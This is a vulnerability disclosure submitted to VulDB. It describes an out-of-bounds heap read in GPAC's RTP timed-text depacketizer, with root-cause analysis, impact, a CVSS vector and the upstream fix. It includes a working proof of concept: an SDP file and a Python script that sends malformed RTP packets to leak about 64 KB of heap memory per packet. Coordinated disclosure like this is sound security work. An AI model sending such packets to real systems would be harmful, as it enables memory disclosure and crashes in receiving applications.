Submit #942834: GPAC 26.08-DEV Memory Corruptioninfo

TitelGPAC 26.08-DEV Memory Corruption
BeschreibungGPAC 26.08-DEV, built from master at commit 6fed75dfd06b23ee646d110298668dfd9b8d2e2b, contains an out-of-bounds read in gf_rtp_parse_ttxt() in src/ietf/rtp_depacketizer.c. Affected file: src/ietf/rtp_depacketizer.c Affected function: gf_rtp_parse_ttxt Affected parameter: the TTU length field in the payload of an RTP packet carrying a 3GPP timed text stream A single 19-byte UDP datagram causes GPAC to hand 65,536 bytes to the rest of the program. Everything past the first seven bytes is adjacent heap memory. This is remote and unauthenticated, requires no file to be delivered to the victim, and reproduces on an ordinary build with no sanitizer. Root cause. gf_rtp_parse_ttxt() starts at src/ietf/rtp_depacketizer.c:495. At line 511 it reads a 16-bit length straight off the wire: ttu_len = gf_bs_read_u16(bs); if (ttu_len<2) break; The parameter "size" holds the number of bytes that actually arrived in the packet. It is passed into the function but never compared against ttu_len. The checks that do exist, at lines 512, 519, 537 and 585, all compare ttu_len against fixed constants, never against size. Three sites then use the length as though it were trustworthy: src/ietf/rtp_depacketizer.c:527, the one the proof of concept reaches: rtp->on_sl_packet(rtp->udta, payload + pay_start, ttu_len + 1, &rtp->sl_hdr, GF_OK); src/ietf/rtp_depacketizer.c:595, reached when the type byte is 3 or 4: gf_bs_write_data(rtp->inter_bs, payload+7, ttu_len-6); src/ietf/rtp_depacketizer.c:545, where the subtraction wraps if fewer than ten bytes arrived: txt_size = size - 10; What makes the first site matter is where the value ends up. The function installed as on_sl_packet is rtp_sl_packet_cbk in src/filters/in_rtp_stream.c, which at lines 187 and 190 does: pck = gf_filter_pck_new_alloc(stream->opid, size, &pck_data); ... memcpy(pck_data, payload, size); It allocates a buffer of the size it was handed and copies that many bytes out of the packet. So the memory past the end of the packet is not merely read, it is copied into a media packet and passed down the pipeline. Reproduction. Save as poc.sdp, describing a timed text stream on UDP 5006: v=0 o=- 0 0 IN IP4 127.0.0.1 s=x c=IN IP4 127.0.0.1 t=0 0 m=text 5006 RTP/AVP 96 a=rtpmap:96 3gpp-tt/1000 a=fmtp:96 sver=60; tx3g=AAAAGHN0cGAAAAAAAAAAAAAAAAA=; width=176; height=20 Run: gpac -i poc.sdp inspect:deep Then send six identical RTP packets, each 19 bytes on the wire (a 12-byte RTP header plus a 7-byte payload): import socket, struct, time hdr = struct.pack("!BBHII", 0x80, 96 | 0x80, 1, 1000, 0x11223344) payload = bytes([0x01, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00]) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) for _ in range(6): s.sendto(hdr + payload, ("127.0.0.1", 5006)) time.sleep(0.2) The payload is the entire attack. The first byte sets the block type to 1. The next two bytes are the length field, claiming 65,535 bytes. Seven bytes actually arrive. Result: PID 1 PCK 1 cts 0 sap 1 size 65536 PID 1 PCK 2 cts 0 sap 1 size 65536 PID 1 PCK 3 cts 0 sap 1 size 65536 PID 1 PCK 4 cts 0 sap 1 size 65536 PID 1 PCK 5 cts 0 sap 1 size 65536 Control test. Changing only the payload to declare a length that matches the data sent: payload = bytes([0x01, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x41, 0x42, 0x43]) gives packets of size 10. Same code path, same packet shape. The only difference is whether the declared length matches what arrived. Not a sanitizer artifact. Rebuilt from the same commit with a plain ./configure and no sanitizers, confirmed with grep -m1 '^OPTFLAGS' config.mak | grep -c fsanitize returning 0, the same proof of concept produces the same five packets of size 65536. The type 3 path behaves the same. Changing the first payload byte from 0x01 to 0x03 and adding one byte produces packets of 65,538 bytes from an 8-byte payload. Impact. Any application receiving a 3GPP timed text stream over RTP is affected, including playback of an RTSP URL, since the server supplies the session description and then the packets. Each malformed packet causes up to 64 kilobytes of adjacent memory to be copied into the media pipeline. Depending on what the receiving application does with subtitle data, that memory can be displayed, written to a file, or forwarded. Reading past the end of an allocation can also crash the process. Not confirmed. AddressSanitizer does not report this on the type 1 path, which is believed to be because the copy is large enough that the sanitizer's memcpy interceptor checks a sample of the range rather than every byte, but that has not been proven and the result above does not depend on it. The packet sizes are measured output from an ordinary build. No attempt has been made to determine what an attacker could reliably place in the leaked memory, and no claim of controllability is made. Classification: CWE-125, out-of-bounds read, with CWE-1284, improper validation of a quantity given in input, as the underlying cause. Suggested CVSS 3.1 vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L Fix. One check after line 512 covers all three uses, since all three take their size from ttu_len: ttu_len = gf_bs_read_u16(bs); if (ttu_len<2) break; +if (pay_start + ttu_len + 1 > (u64) size) break; Reported privately to [email protected] on 2026-08-18. Confirmed and fixed upstream by Aurelien David in commit 6bb0f64b4d1039c0fecd14ee2c1ee861d8661a68 ("fuzz: gf_rtp_parse_ttxt() test payload advertised size against actual buffer size"), which applies the above check at src/ietf/rtp_depacketizer.c:513 with an added warning log. Public reference opened at the vendor's suggestion: https://github.com/gpac/gpac/issues/3868
Quelle⚠️ https://github.com/gpac/gpac/issues/3868
Benutzer
 dutch (UID 100715)
Einreichung21.08.2026 23:38 (vor 27 Tagen)
Moderieren17.09.2026 19:34 (27 days later)
StatusAkzeptiert
VulDB Eintrag406641 [GPAC 26.08-DEV RTP Depacketizer rtp_depacketizer.c gf_rtp_parse_ttxt size Information Disclosure]
Punkte20

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!